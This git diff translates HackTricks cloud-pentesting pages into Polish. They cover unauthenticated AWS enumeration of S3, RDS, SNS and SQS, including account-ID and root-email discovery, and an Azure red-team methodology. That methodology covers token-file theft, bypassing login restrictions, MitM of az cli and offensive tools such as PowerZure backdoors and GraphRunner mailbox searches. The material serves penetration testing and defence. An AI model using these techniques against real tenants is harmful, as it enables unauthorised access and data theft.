--snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account ``` - -### Public URL template - +### Szablon publicznego URL-a ``` mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index ab1577a1e..0f9fcb214 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Szablon publicznego URL-a ``` {user_provided}...redshift.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 28c7b1673..6a8c46218 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -4,40 +4,40 @@ ## S3 Public Buckets -A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. +Bucket jest uważany za **“publiczny”**, jeśli **każdy użytkownik może wylistować zawartość** bucketa, a za **“prywatny”**, jeśli zawartość bucketa może być **wylistowana lub zapisana tylko przez określonych użytkowników**. -Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). +Firmy mogą mieć **błędy w konfiguracji uprawnień bucketów**, co daje dostęp albo do wszystkiego, albo do wszystkich uwierzytelnionych w AWS w dowolnym koncie (czyli do każdego). Należy zauważyć, że nawet przy takich błędach niektóre działania mogą nie być możliwe do wykonania, ponieważ buckety mogą mieć własne listy kontroli dostępu (ACL). -**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) +**Dowiedz się o błędach konfiguracji AWS-S3 tutaj:** [**http://flaws.cloud**](http://flaws.cloud/) **i** [**http://flaws2.cloud/**](http://flaws2.cloud) ### Finding AWS Buckets -Different methods to find when a webpage is using AWS to storage some resources: +Różne metody, aby znaleźć, kiedy strona internetowa korzysta z AWS do przechowywania niektórych zasobów: #### Enumeration & OSINT: -- Using **wappalyzer** browser plugin -- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. -- **Check for resources** in domains like: +- Używając wtyczki przeglądarki **wappalyzer** +- Używając burp (**spidering** sieci) lub ręcznie nawigując po stronie, wszystkie **zasoby** **załadowane** będą zapisane w Historii. +- **Sprawdź zasoby** w domenach takich jak: - ``` - http://s3.amazonaws.com/[bucket_name]/ - http://[bucket_name].s3.amazonaws.com/ - ``` +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` -- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` -- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. -- The **bucket name** and the **bucket domain name** needs to be **the same.** - - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. - - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- Sprawdź **CNAMES**, ponieważ `resources.domain.com` może mieć CNAME `bucket.s3.amazonaws.com` +- Sprawdź [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), stronę z już **odkrytymi otwartymi bucketami**. +- **Nazwa bucketa** i **nazwa domeny bucketa** muszą być **takie same.** +- **flaws.cloud** jest w **IP** 52.92.181.107, a jeśli tam pójdziesz, przekierowuje cię do [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Również `dig -x 52.92.181.107` daje `s3-website-us-west-2.amazonaws.com`. +- Aby sprawdzić, czy to jest bucket, możesz również **odwiedzić** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). #### Brute-Force -You can find buckets by **brute-forcing name**s related to the company you are pentesting: +Możesz znaleźć buckety, **brute-forcing nazwy** związane z firmą, którą testujesz: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Zawiera listę potencjalnych nazw bucketów) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -77,16 +77,15 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep buck #### Loot S3 Buckets -Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. +Dla otwartych bucketów S3, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) może automatycznie **szukać interesujących informacji**. ### Find the Region -You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) +Możesz znaleźć wszystkie obsługiwane regiony przez AWS w [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) #### By DNS -You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: - +Możesz uzyskać region bucketa za pomocą **`dig`** i **`nslookup`**, wykonując **żądanie DNS odkrytego IP**: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -96,31 +95,29 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` +Sprawdź, czy rozwiązana domena zawiera słowo "website".\ +Możesz uzyskać dostęp do statycznej strony internetowej, przechodząc do: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +lub możesz uzyskać dostęp do koszyka, odwiedzając: `flaws.cloud.s3-us-west-2.amazonaws.com` -Check that the resolved domain have the word "website".\ -You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` +#### Próbując -#### By Trying - -If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**: +Jeśli spróbujesz uzyskać dostęp do koszyka, ale w **nazwie domeny określisz inny region** (na przykład koszyk znajduje się w `bucket.s3.amazonaws.com`, ale próbujesz uzyskać dostęp do `bucket.s3-website-us-west-2.amazonaws.com`, wtedy zostaniesz **skierowany do poprawnej lokalizacji**: ![](<../../../images/image (106).png>) -### Enumerating the bucket +### Enumeracja koszyka -To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored. +Aby przetestować otwartość koszyka, użytkownik może po prostu wpisać adres URL w swojej przeglądarce internetowej. Prywatny koszyk odpowie "Access Denied". Publiczny koszyk wyświetli pierwsze 1,000 obiektów, które zostały zapisane. -Open to everyone: +Otwarty dla wszystkich: ![](<../../../images/image (201).png>) -Private: +Prywatny: ![](<../../../images/image (83).png>) -You can also check this with the cli: - +Możesz to również sprawdzić za pomocą cli: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -128,22 +125,18 @@ You can also check this with the cli: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` +Jeśli koszyk nie ma nazwy domeny, próbując go enumerować, **wprowadź tylko nazwę koszyka** i nie całą domenę AWSs3. Przykład: `s3://` -If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://` - -### Public URL template - +### Szablon publicznego URL-a ``` https://{user_provided}.s3.amazonaws.com ``` +### Uzyskaj identyfikator konta z publicznego koszyka -### Get Account ID from public Bucket - -It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\ -And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**. - -This tool automates the process: +Możliwe jest określenie konta AWS, korzystając z nowego **`S3:ResourceAccount`** **klucza warunkowego polityki**. Ten warunek **ogranicza dostęp na podstawie koszyka S3**, w którym znajduje się konto (inne polityki oparte na koncie ograniczają dostęp na podstawie konta, w którym znajduje się żądający podmiot).\ +A ponieważ polityka może zawierać **znaki wieloznaczne**, możliwe jest znalezienie numeru konta **tylko jeden numer na raz**. +To narzędzie automatyzuje ten proces: ```bash # Installation pipx install s3-account-search @@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` +Ta technika działa również z adresami URL API Gateway, adresami URL Lambda, zestawami danych Data Exchange, a nawet do uzyskania wartości tagów (jeśli znasz klucz tagu). Więcej informacji można znaleźć w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz w narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploitację. -This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. - -### Confirming a bucket belongs to an AWS account - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like: +### Potwierdzanie, że koszyk należy do konta AWS +Jak wyjaśniono w [**tym wpisie na blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, jeśli masz uprawnienia do wylistowania koszyka** możliwe jest potwierdzenie accountID, do którego należy koszyk, wysyłając żądanie takie jak: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -167,41 +158,34 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` +Jeśli błąd to „Access Denied”, oznacza to, że identyfikator konta był błędny. -If the error is an “Access Denied” it means that the account ID was wrong. - -### Used Emails as root account enumeration - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: +### Użycie adresów e-mail do enumeracji konta root +Jak wyjaśniono w [**tym wpisie na blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), możliwe jest sprawdzenie, czy adres e-mail jest powiązany z jakimkolwiek kontem AWS, **próbując przyznać adresowi e-mail uprawnienia** do koszyka S3 za pomocą ACL. Jeśli to nie wywoła błędu, oznacza to, że e-mail jest użytkownikiem root jakiegoś konta AWS: ```python s3_client.put_bucket_acl( - Bucket=bucket_name, - AccessControlPolicy={ - 'Grants': [ - { - 'Grantee': { - 'EmailAddress': 'some@emailtotest.com', - 'Type': 'AmazonCustomerByEmail', - }, - 'Permission': 'READ' - }, - ], - 'Owner': { - 'DisplayName': 'Whatever', - 'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' - } - } +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} ) ``` - ## References - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 7978eff36..a9b10f9db 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -4,22 +4,18 @@ ## SNS -For more information about SNS check: +Aby uzyskać więcej informacji na temat SNS, sprawdź: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Open to All +### Otwarty dla wszystkich -When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic: +Gdy konfigurujesz temat SNS z konsoli internetowej, możliwe jest wskazanie, że **Każdy może publikować i subskrybować** temat:
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**. +Więc jeśli **znajdziesz ARN tematów** w koncie (lub brute forcing potencjalnych nazw tematów), możesz **sprawdzić**, czy możesz **publikować** lub **subskrybować** **je**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index a5006a63b..0ce23fffa 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -4,24 +4,18 @@ ## SQS -For more information about SQS check: +Aby uzyskać więcej informacji o SQS, sprawdź: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Public URL template - +### Szablon publicznego URL ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` +### Sprawdź uprawnienia -### Check Permissions - -It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them. +Możliwe jest błędne skonfigurowanie polityki kolejki SQS i przyznanie uprawnień wszystkim w AWS do wysyłania i odbierania wiadomości, więc jeśli zdobędziesz ARN kolejek, spróbuj sprawdzić, czy możesz uzyskać do nich dostęp. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 9d2de65fc..3cea4aae0 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -2,86 +2,85 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje {{#ref}} az-basic-information/ {{#endref}} -## Azure Pentester/Red Team Methodology +## Metodologia Pentestera/Red Team w Azure -In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected. +Aby audytować środowisko AZURE, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak są połączone wewnętrzne usługi Azure oraz **usługi zewnętrzne**. -From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that: +Z perspektywy Red Team, **pierwszym krokiem do skompromitowania środowiska Azure** jest uzyskanie jakichś **poświadczeń** dla Azure AD. Oto kilka pomysłów, jak to zrobić: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in Azure-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.azure` - - `C:\Users\USERNAME\.azure` - - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text** - - The file **`azureProfile.json`** contains **info** about logged user. - - **`az logout`** removes the token. - - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\ - Use `Disconnect-AzAccount` to remove them. -- 3rd parties **breached** -- **Internal** Employee -- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App) - - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) +- **Wycieki** w githubie (lub podobnych) - OSINT +- **Inżynieria** społeczna +- Ponowne użycie **hasła** (wycieki haseł) +- Luki w aplikacjach hostowanych w Azure +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) z dostępem do punktu końcowego metadanych +- **Odczyt lokalnych plików** +- `/home/USERNAME/.azure` +- `C:\Users\USERNAME\.azure` +- Plik **`accessTokens.json`** w `az cli` przed 2.30 - Jan2022 - przechowywał **tokeny dostępu w czystym tekście** +- Plik **`azureProfile.json`** zawiera **informacje** o zalogowanym użytkowniku. +- **`az logout`** usuwa token. +- Starsze wersje **`Az PowerShell`** przechowywały **tokeny dostępu** w **czystym** tekście w **`TokenCache.dat`**. Przechowuje również **ServicePrincipalSecret** w **czystym** tekście w **`AzureRmContext.json`**. Cmdlet **`Save-AzContext`** może być użyty do **przechowywania** **tokenów**.\ +Użyj `Disconnect-AzAccount`, aby je usunąć. +- Naruszenia przez osoby trzecie +- **Wewnętrzny** pracownik +- [**Typowe Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (poświadczenia lub aplikacja Oauth) +- [Phishing z użyciem kodu urządzenia](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it: +Nawet jeśli **nie skompromitowałeś żadnego użytkownika** w tenantcie Azure, który atakujesz, możesz **zgromadzić pewne informacje** z niego: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Po uzyskaniu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację: -## Basic Enumeration +## Podstawowa enumeracja > [!NOTE] -> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself. +> Pamiętaj, że **najgłośniejszą** częścią enumeracji jest **logowanie**, a nie sama enumeracja. ### SSRF -If you found a SSRF in a machine inside Azure check this page for tricks: +Jeśli znalazłeś SSRF na maszynie w Azure, sprawdź tę stronę po triki: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Bypass Login Conditions +### Ominięcie warunków logowania
-In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place: +W przypadkach, gdy masz jakieś ważne poświadczenia, ale nie możesz się zalogować, oto kilka powszechnych zabezpieczeń, które mogą być wprowadzone: -- **IP whitelisting** -- You need to compromise a valid IP -- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least) -- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses. -- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed +- **Biała lista IP** -- Musisz skompromitować ważny adres IP +- **Ograniczenia geograficzne** -- Znajdź, gdzie mieszka użytkownik lub gdzie znajdują się biura firmy i uzyskaj IP z tego samego miasta (lub przynajmniej kraju) +- **Przeglądarka** -- Może tylko przeglądarka z określonego systemu operacyjnego (Windows, Linux, Mac, Android, iOS) jest dozwolona. Dowiedz się, z jakiego systemu operacyjnego korzysta ofiara/firmy. +- Możesz również spróbować **skomprimitować poświadczenia Service Principal**, ponieważ zazwyczaj są mniej ograniczone, a ich logowanie jest mniej kontrolowane. -After bypassing it, you might be able to get back to your initial setup and you will still have access. +Po ominięciu tego, możesz być w stanie wrócić do swojego początkowego ustawienia i nadal mieć dostęp. -### Subdomain Takeover +### Przejęcie subdomeny - [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/) ### Whoami > [!CAUTION] -> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section. +> Dowiedz się **jak zainstalować** az cli, AzureAD i Az PowerShell w sekcji [**Az - Entra ID**](az-services/az-azuread.md). -One of the first things you need to know is **who you are** (in which environment you are): +Jedną z pierwszych rzeczy, które musisz wiedzieć, jest **kim jesteś** (w jakim środowisku jesteś): {{#tabs }} {{#tab name="az cli" }} - ```bash az account list az account tenant list # Current tenant info @@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user az ad signed-in-user list-owned-objects # Get owned objects by current user az account management-group list #Not allowed by default ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```powershell #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant Get-AzureADTenantDetail ``` - {{#endtab }} {{#tab name="Az PowerShell" }} - ```powershell # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext @@ -121,53 +116,49 @@ Get-AzResource Get-AzRoleAssignment # For all users Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**. +> Jednym z najważniejszych poleceń do enumeracji Azure jest **`Get-AzResource`** z Az PowerShell, ponieważ pozwala **poznać zasoby, które są widoczne dla bieżącego użytkownika**. > -> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources" +> Możesz uzyskać te same informacje w **konsoli internetowej**, przechodząc do [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) lub wyszukując "Wszystkie zasoby". ### ENtra ID Enumeration -By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\ -You can find here a guide: +Domyślnie każdy użytkownik powinien mieć **wystarczające uprawnienia do enumeracji** takich rzeczy jak użytkownicy, grupy, role, zasady usług... (sprawdź [domyślne uprawnienia AzureAD](az-basic-information/#default-user-permissions)).\ +Możesz znaleźć tutaj przewodnik: {{#ref}} az-services/az-azuread.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Teraz, gdy **masz pewne informacje o swoich poświadczeniach** (a jeśli jesteś w red team, miejmy nadzieję, że **nie zostałeś wykryty**). Czas dowiedzieć się, które usługi są używane w środowisku.\ +> W następnej sekcji możesz sprawdzić kilka sposobów na **enumerację niektórych powszechnych usług.** ## App Service SCM -Kudu console to log in to the App Service 'container'. +Konsola Kudu do logowania się do 'kontenera' App Service. ## Webshell -Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account. +Użyj portal.azure.com i wybierz powłokę, lub użyj shell.azure.com, aby uzyskać dostęp do bash lub powershell. 'Dysk' tej powłoki jest przechowywany jako plik obrazu w koncie magazynu. ## Azure DevOps -Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets. +Azure DevOps jest oddzielony od Azure. Posiada repozytoria, potoki (yaml lub release), tablice, wiki i inne. Grupy zmiennych są używane do przechowywania wartości zmiennych i sekretów. ## Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +Używając parametru **`--debug`**, możliwe jest zobaczenie wszystkich żądań, które narzędzie **`az`** wysyła: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Aby przeprowadzić **MitM** na narzędziu i **ręcznie sprawdzić wszystkie żądania**, które wysyła, możesz zrobić: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} -## Automated Recon Tools +## Zautomatyzowane narzędzia rekonesansu ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) - ```powershell cd ROADTools pipenv shell @@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" roadrecon gather roadrecon gui ``` - ### [Monkey365](https://github.com/silverhack/monkey365) - ```powershell Import-Module monkey365 Get-Help Invoke-Monkey365 @@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML ``` - ### [**Stormspotter**](https://github.com/Azure/Stormspotter) - ```powershell # Start Backend cd stormspotter\backend\ @@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022! python stormspotter\stormcollector\sscollector.pyz cli # This will generate a .zip file to upload in the frontend (127.0.0.1:9091) ``` - ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) - ```powershell # You need to use the Az PowerShell and Azure AD modules: $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu ## All Azure AD Groups that are synchronized with On-Premise AD MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n ``` - ### [Azucar](https://github.com/nccgroup/azucar) - ```bash # You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git @@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com ``` - ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) - ``` Import-Module .\MicroBurst.psm1 Import-Module .\Get-AzureDomainInfo.ps1 Get-AzureDomainInfo -folder MicroBurst -Verbose ``` - ### [**PowerZure**](https://github.com/hausec/PowerZure) - ```powershell Connect-AzAccount ipmo C:\Path\To\Powerzure.psd1 @@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor ``` - ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) - ```powershell #Get-GraphTokens @@ -398,9 +371,4 @@ Get-TenantID -Domain #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. Invoke-GraphRunner -Tokens $tokens ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index a600b66dc..13a02969e 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -1,376 +1,372 @@ -# Az - Basic Information +# Az - Podstawowe informacje {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Hierarchia organizacji

